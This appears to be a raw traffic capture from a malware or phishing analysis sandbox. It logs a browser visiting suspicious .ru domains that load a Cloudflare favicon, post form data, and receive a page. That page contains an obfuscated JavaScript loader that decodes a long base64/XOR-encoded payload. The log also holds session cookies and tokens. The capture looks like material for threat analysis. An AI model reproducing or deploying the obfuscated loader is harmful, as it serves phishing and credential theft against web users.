2025-03-19 13:49:24 UTC	637	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:24 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:24 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=UP1XqruMP7_UliPoe0MlVRXwD83bCiB52.JgwQr2cKM-1742392164-1.0.1.1-heL0vrrJUKpGRM_Rf47KR3L2g8A8EzNdLIYKDvPwCW_4KDtq3uJPwG_G3yvsYEESE8hOZFb5n7AGomZO9gqUMDaNeJFUnLVZ9WfAwGPza88; path=/; expires=Wed, 19-Mar-25 14:19:24 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922d6ed668a98aa0-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:49:24 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 13:49:24 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:25 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=UP1XqruMP7_UliPoe0MlVRXwD83bCiB52.JgwQr2cKM-1742392164-1.0.1.1-heL0vrrJUKpGRM_Rf47KR3L2g8A8EzNdLIYKDvPwCW_4KDtq3uJPwG_G3yvsYEESE8hOZFb5n7AGomZO9gqUMDaNeJFUnLVZ9WfAwGPza88
2025-03-19 13:49:25 UTC	435	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:25 GMT Content-Type: image/png Content-Length: 937 Connection: close Cf-Ray: 922d6ed93a7d121e-MRS Server: cloudflare Cf-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * alt-svc: h3=":443"; ma=86400
2025-03-19 13:49:25 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 13:49:25 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:39 UTC	566	OUT	GET /kabutar$hfrbm HTTP/1.1 Host: pct4ja.qxwhvv.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://behy.jsrjesdc.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:40 UTC	281	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 922d6f3509ba353b-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:49:40 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-19 13:49:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:40 UTC	1430	OUT	POST /rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Content-Length: 775 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0xMBfIlYOYIAukN5 sec-ch-ua-mobile: ?0 Accept: / Origin: https://behy.jsrjesdc.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://behy.jsrjesdc.ru/7PIWi2mf/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBlanIxMlowK3hKWnpkaktyQkV6SXc9PSIsInZhbHVlIjoiY2JaTFdtZEd6YUlVUnkrTFhqdmwrY014WmJ3VFZFV2toTnA1UEIyMmtqNGVyb0ttUXZlSVJoaXVUSm5YSEk3Y1h5RTNIeXRNM1hvT3dxeiszWkt2S0c4Z0F4YTJjcHE2bDBmazRWRndWODkzK1dkbEtjMVFISnpDd29qVmo2QjEiLCJtYWMiOiJmZTE4ZTAyOGY0ZjdmY2NkMmVjMDNkYmY0Y2U1NmEzYjYyMGZjZTI5MGVmNDhlOWRjN2Y0YjU2NGQ3MzdiYWE3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJoSGpYd2RyUk0zci9Xc05vblBDYnc9PSIsInZhbHVlIjoiWTNCUy9TUjRaQ2pjakVqbU52T0J4emhMK2MwaU5RaGYyM3J5MEw1cFBrdDdsUlUrYlU5SWh4ODl4OVhPZEJZUmtFWlliS1NMSXdWa1hJZXVJN3UwUjA4K1NmU1B0ZXpuNmxNMkxlNHZHWmlLZG5RUU11SEtmdHJiN0wrVUhLa0MiLCJtYWMiOiJjNjc3YTcxZTFiYmVlZWY0YTc4YmI2YjZiN2Q4MzNmMDg1ZWE4M2MxMzMxYzgzOTBhZGQ4YjQyZGI1OTg1OTNjIiwidGFnIjoiIn0%3D
2025-03-19 13:49:40 UTC	775	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 30 78 4d 42 66 49 6c 59 4f 59 49 41 75 6b 4e 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 7a 4e 79 61 41 77 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 30 78 4d 42 66 49 6c 59 4f 59 49 41 75 6b 4e 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 47 6e 39 73 35 7a 66 4d 6c 53 78 53 34 67 51 55 38 79 43 47 4d 4c 51 46 34 35 78 63 68 79 76 43 4f 45 4f 67 48 4a 39 34 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 30 78 4d Data Ascii: ------WebKitFormBoundary0xMBfIlYOYIAukN5Content-Disposition: form-data; name="bltpg"zNyaAw------WebKitFormBoundary0xMBfIlYOYIAukN5Content-Disposition: form-data; name="sid"Gn9s5zfMlSxS4gQU8yCGMLQF45xchyvCOEOgHJ94------WebKitFormBoundary0xM
2025-03-19 13:49:41 UTC	1213	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:41 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AoOJDahpeD%2B%2Bbev17OyomT59Qqoj7a8LuQrTVU692Q7ZkgFXYyZ1gP4LBETZwZnFBcyvBMmHEqdbOCS39c9WwCVl2c28QTq4KI7Sd1yAL25ToBrfkjLvel7BFrEL"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=311&min_rtt=299&rtt_var=137&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=3110&delivery_rate=10084788&cwnd=252&unsent_bytes=0&cid=bd74dca34ea8d49c&ts=197&x=0" Vary: accept-encoding Set-Cookie: XSRF-TOKEN=eyJpdiI6IkpWMjF4aGJlMDl6RW9PM3VCbkQ5QUE9PSIsInZhbHVlIjoicjhNUnQzMGtGd0hyZ1d3ejB0OVRpcExzOENQYmQ1SWw2elY2T1JoQ2F6VURnYmdzWXVQa2RRZ25HVytDZG0xb09ycDhMK2NRM2x2bHBSTVhHa0Q0NEIzWW9VR1V3S0M3b3BrV2FPQllyR0c4SVluNmNwVFk4TjErQlM0YklTRkQiLCJtYWMiOiI2ODQxM2U0MzcyZDJkNTQ0OTQ3MzYyZjQ4MWM3ODE0MGYyMDgyZmY5YTY2NzQyNDljMWY1MmIzMzQzMjE3NTZmIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Wed, 19 Mar 2025 15:49:41 GMT
2025-03-19 13:49:41 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 70 51 5a 46 64 33 4e 45 78 4e 59 58 64 31 57 58 6c 55 62 6e 56 30 53 58 52 72 62 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 7a 64 75 62 6d 34 79 59 7a 46 4d 52 47 46 61 51 7a 42 4c 57 6a 56 4c 4f 45 35 32 59 55 39 44 4d 6c 4a 4d 5a 6b 56 6e 4e 46 68 59 63 6b 39 5a 64 54 67 30 52 6c 68 6c 4d 6e 56 44 55 6d 31 4e 4c 33 55 78 61 6d 45 35 53 46 70 71 51 55 5a 35 55 58 46 42 54 44 46 6a 62 48 6c 78 5a 6d 74 6d 61 6d 31 34 65 54 4e 55 55 48 6c 55 65 6c 52 52 4b 32 46 34 5a 6d 4e 47 52 48 4e 31 65 54 56 55 53 56 68 33 52 6a 49 35 64 57 4a 56 61 33 46 72 51 6d 56 51 52 57 5a 33 4f 46 46 51 63 31 4e 35 62 46 5a 49 63 6b 78 56 4d 54 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InpQZFd3NExNYXd1WXlUbnV0SXRrb3c9PSIsInZhbHVlIjoiVzdubm4yYzFMRGFaQzBLWjVLOE52YU9DMlJMZkVnNFhYck9ZdTg0RlhlMnVDUm1NL3UxamE5SFpqQUZ5UXFBTDFjbHlxZmtmam14eTNUUHlUelRRK2F4ZmNGRHN1eTVUSVh3RjI5dWJVa3FrQmVQRWZ3OFFQc1N5bFZIckxVMTA
2025-03-19 13:49:41 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-19 13:49:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:41 UTC	1476	OUT	GET /7PIWi2mf/ HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://behy.jsrjesdc.ru/7PIWi2mf/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpWMjF4aGJlMDl6RW9PM3VCbkQ5QUE9PSIsInZhbHVlIjoicjhNUnQzMGtGd0hyZ1d3ejB0OVRpcExzOENQYmQ1SWw2elY2T1JoQ2F6VURnYmdzWXVQa2RRZ25HVytDZG0xb09ycDhMK2NRM2x2bHBSTVhHa0Q0NEIzWW9VR1V3S0M3b3BrV2FPQllyR0c4SVluNmNwVFk4TjErQlM0YklTRkQiLCJtYWMiOiI2ODQxM2U0MzcyZDJkNTQ0OTQ3MzYyZjQ4MWM3ODE0MGYyMDgyZmY5YTY2NzQyNDljMWY1MmIzMzQzMjE3NTZmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQZFd3NExNYXd1WXlUbnV0SXRrb3c9PSIsInZhbHVlIjoiVzdubm4yYzFMRGFaQzBLWjVLOE52YU9DMlJMZkVnNFhYck9ZdTg0RlhlMnVDUm1NL3UxamE5SFpqQUZ5UXFBTDFjbHlxZmtmam14eTNUUHlUelRRK2F4ZmNGRHN1eTVUSVh3RjI5dWJVa3FrQmVQRWZ3OFFQc1N5bFZIckxVMTAiLCJtYWMiOiJjN2I0NTdmMDM4MmYxZDljNDU3ZDkzYWJkNmI2NzRiYzU0MTVkNWY2YzBlMGU0ZGIyYTQyNGFiMmJmYTJiNDExIiwidGFnIjoiIn0%3D
2025-03-19 13:49:41 UTC	1206	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TQXzYU1XCbrNCisicum2pW6ZRGMHnz069TYt3%2BnYmZa8yHedbdEQOnOSV4w%2FXuJZ9yb1PWO7y8Z1vSwPhu3aJ%2FR3iPcS5YEm76180eKw2vRfpcs3scAmyzE9flK8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16394&min_rtt=16390&rtt_var=6155&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2371&delivery_rate=246195&cwnd=228&unsent_bytes=0&cid=be003fc00d07e81e&ts=206&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IktLMm4wRTVQUTMzWTVXWnBwZG1md2c9PSIsInZhbHVlIjoiUFBic3AwWTQxZE52OFpvelFEM1JJRFNSK3hnN0FNQS9LRXZmQjN2cFhWdmFpM2NSZHhaZ21tOFEvbjI0SEVOT3JsTUkvV0VIMW15bjN6ZU93NWw4Y3ZNckZtMzhsNUQ0UXJMT2dONGZWZkVDTjllUy9OMGIzNzNtSTh1eWExVFoiLCJtYWMiOiJmOGYyZDUzNzQwNWY3YmUwZjM5YTRjMzIxNGRlYzE0NjhhNTUxMjg4Mzk4N2UwMWFhZjA0OGM5MWJhOWZkN2QxIiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 15:49:41 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 13:49:41 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4a 34 4f 54 42 4a 64 54 6c 47 64 54 52 68 53 30 64 77 56 6a 56 34 56 6b 39 70 61 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 48 4a 30 4f 56 64 4b 64 6d 63 77 64 6c 52 77 63 6d 6c 4c 57 6b 4e 79 64 45 64 78 61 6d 46 52 61 6d 4e 76 4d 44 52 54 56 32 31 36 63 44 5a 7a 57 55 68 54 54 31 4e 53 55 6c 45 7a 54 6e 56 53 4e 57 4a 6e 61 55 31 32 4e 6c 64 6b 59 6e 64 4f 62 33 45 79 55 6b 4a 70 54 46 5a 4b 4d 47 46 74 4e 6b 35 4d 5a 46 52 59 55 47 78 5a 61 31 55 77 5a 6c 49 79 57 57 74 46 62 54 59 76 56 32 70 45 4c 32 78 33 61 47 68 43 53 54 55 76 5a 44 4a 4c 52 58 70 75 4d 30 4e 53 54 33 64 71 5a 6c 46 70 57 44 49 34 4e 33 5a 71 5a 45 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImJ4OTBJdTlGdTRhS0dwVjV4Vk9paVE9PSIsInZhbHVlIjoidHJ0OVdKdmcwdlRwcmlLWkNydEdxamFRamNvMDRTV216cDZzWUhTT1NSUlEzTnVSNWJnaU12NldkYndOb3EyUkJpTFZKMGFtNk5MZFRYUGxZa1UwZlIyWWtFbTYvV2pEL2x3aGhCSTUvZDJLRXpuM0NST3dqZlFpWDI4N3ZqZEE
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 33 36 65 63 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 55 4f 44 69 41 48 71 75 63 6a 28 75 6a 41 4f 68 73 45 6a 4c 45 2c 20 50 46 68 67 5a 44 4a 58 74 4a 29 20 7b 0d 0a 6c 65 74 20 64 66 54 73 4b 4c 61 6a 4e 55 20 3d 20 27 27 3b 0d 0a 75 6a 41 4f 68 73 45 6a 4c 45 20 3d 20 61 74 6f 62 28 75 6a 41 4f 68 73 45 6a 4c 45 29 3b 0d 0a 6c 65 74 20 4d 79 76 6c 46 67 4e 48 73 62 20 3d 20 50 46 68 67 5a 44 4a 58 74 4a 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 6a 41 4f 68 73 45 6a 4c 45 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 64 66 54 73 4b 4c 61 6a 4e 55 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 75 6a 41 4f 68 73 45 6a 4c 45 2e 63 68 61 72 43 Data Ascii: 36ec<script>function UODiAHqucj(ujAOhsEjLE, PFhgZDJXtJ) {let dfTsKLajNU = '';ujAOhsEjLE = atob(ujAOhsEjLE);let MyvlFgNHsb = PFhgZDJXtJ.length;for (let i = 0; i < ujAOhsEjLE.length; i++) { dfTsKLajNU += String.fromCharCode(ujAOhsEjLE.charC
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 4c 4c 56 64 33 58 41 39 56 4b 77 4a 67 41 77 64 43 56 46 42 61 57 52 4d 53 50 77 68 69 66 48 74 68 45 56 55 30 48 53 49 51 45 30 46 66 56 6a 31 2f 46 52 49 57 44 47 4a 38 64 32 70 62 65 43 74 34 49 68 30 46 57 6c 52 36 4b 33 41 45 41 52 49 59 4d 33 78 77 63 67 39 34 49 41 70 6d 45 42 4e 37 41 31 41 46 52 6c 55 42 47 51 73 74 55 57 52 6d 47 33 67 72 42 6a 34 34 41 32 38 44 66 41 46 7a 55 79 73 2f 44 7a 68 35 63 48 45 61 61 7a 73 6b 46 54 74 6d 5a 31 39 38 41 58 42 51 42 68 49 62 62 58 6c 79 41 79 4e 34 49 41 6b 32 45 42 64 30 56 48 6f 72 63 41 51 42 45 68 67 7a 55 45 70 78 41 6c 55 72 41 69 49 57 50 58 63 44 55 41 5a 6e 44 77 51 53 47 79 35 55 64 46 38 46 56 53 63 6e 4e 6a 30 63 66 77 4a 70 4f 30 59 45 4b 57 4d 50 59 57 51 42 43 67 4e 72 4e 79 63 32 46 79 Data Ascii: LLVd3XA9VKwJgAwdCVFBaWRMSPwhifHthEVU0HSIQE0FfVj1/FRIWDGJ8d2pbeCt4Ih0FWlR6K3AEARIYM3xwcg94IApmEBN7A1AFRlUBGQstUWRmG3grBj44A28DfAFzUys/Dzh5cHEaazskFTtmZ198AXBQBhIbbXlyAyN4IAk2EBd0VHorcAQBEhgzUEpxAlUrAiIWPXcDUAZnDwQSGy5UdF8FVScnNj0cfwJpO0YEKWMPYWQBCgNrNyc2Fy
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 4b 77 59 39 46 69 4d 46 65 48 6f 72 63 41 51 42 47 57 6b 61 64 6c 30 44 47 48 34 55 65 42 6f 44 45 77 78 5a 56 7a 38 41 44 79 6f 2f 43 43 46 73 5a 47 45 44 59 7a 73 53 50 54 73 36 5a 33 35 53 4d 48 39 54 45 67 5a 73 4f 46 5a 61 56 41 5a 6f 55 58 45 6b 50 52 4e 6a 42 31 63 76 41 41 38 71 50 77 77 36 65 58 42 78 42 56 55 30 66 54 73 39 45 31 6c 46 55 51 46 5a 44 79 77 38 44 79 46 52 63 46 67 50 56 42 52 34 47 68 41 58 64 46 52 36 4c 32 64 52 45 67 5a 73 5a 48 6c 64 63 52 46 72 4f 78 49 39 4f 7a 70 6e 64 6d 6b 2f 61 77 73 73 42 69 46 6b 66 6e 42 59 58 33 55 79 4a 7a 59 51 46 33 52 55 55 41 56 6e 55 79 77 4a 45 79 46 38 64 47 6b 41 55 79 73 47 50 52 59 6a 42 58 68 56 4f 31 70 55 44 41 41 70 4f 56 52 65 5a 51 46 6a 4a 42 70 68 44 41 4a 5a 42 6e 6f 73 41 51 51 Data Ascii: KwY9FiMFeHorcAQBGWkadl0DGH4UeBoDEwxZVz8ADyo/CCFsZGEDYzsSPTs6Z35SMH9TEgZsOFZaVAZoUXEkPRNjB1cvAA8qPww6eXBxBVU0fTs9E1lFUQFZDyw8DyFRcFgPVBR4GhAXdFR6L2dREgZsZHldcRFrOxI9Ozpndmk/awssBiFkfnBYX3UyJzYQF3RUUAVnUywJEyF8dGkAUysGPRYjBXhVO1pUDAApOVReZQFjJBphDAJZBnosAQQ
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 46 63 76 56 68 41 42 46 6a 55 68 56 47 74 68 47 47 67 30 50 79 55 36 5a 6e 74 62 55 53 39 6b 57 67 55 43 62 53 4e 38 57 51 63 6a 65 43 41 4a 61 54 30 54 57 51 4e 52 4c 32 52 49 48 52 5a 67 4c 56 46 30 61 52 35 54 4a 43 51 6e 45 42 64 73 56 47 49 2f 56 51 38 71 50 42 64 68 66 48 41 44 44 32 55 30 63 54 6f 44 44 48 39 47 65 69 31 6a 44 79 74 6a 4e 54 70 58 57 55 51 65 56 53 51 6b 59 54 73 54 59 42 68 77 41 58 41 45 47 42 59 68 4a 46 64 65 51 41 39 51 4b 77 49 39 41 7a 34 46 57 6c 49 67 59 31 4d 72 47 52 52 69 65 55 6f 4b 42 56 4e 52 66 57 45 36 4c 51 42 64 55 56 6f 49 44 53 6f 57 44 7a 78 57 64 46 38 53 66 51 34 47 4a 7a 73 48 44 46 6c 51 57 33 77 61 47 47 4d 44 50 46 64 6b 58 78 74 55 4e 33 6b 66 4f 32 59 41 41 31 42 61 5a 78 6f 72 50 42 39 6b 65 6c 31 58 Data Ascii: FcvVhABFjUhVGthGGg0PyU6ZntbUS9kWgUCbSN8WQcjeCAJaT0TWQNRL2RIHRZgLVF0aR5TJCQnEBdsVGI/VQ8qPBdhfHADD2U0cToDDH9Gei1jDytjNTpXWUQeVSQkYTsTYBhwAXAEGBYhJFdeQA9QKwI9Az4FWlIgY1MrGRRieUoKBVNRfWE6LQBdUVoIDSoWDzxWdF8SfQ4GJzsHDFlQW3waGGMDPFdkXxtUN3kfO2YAA1BaZxorPB9kel1X
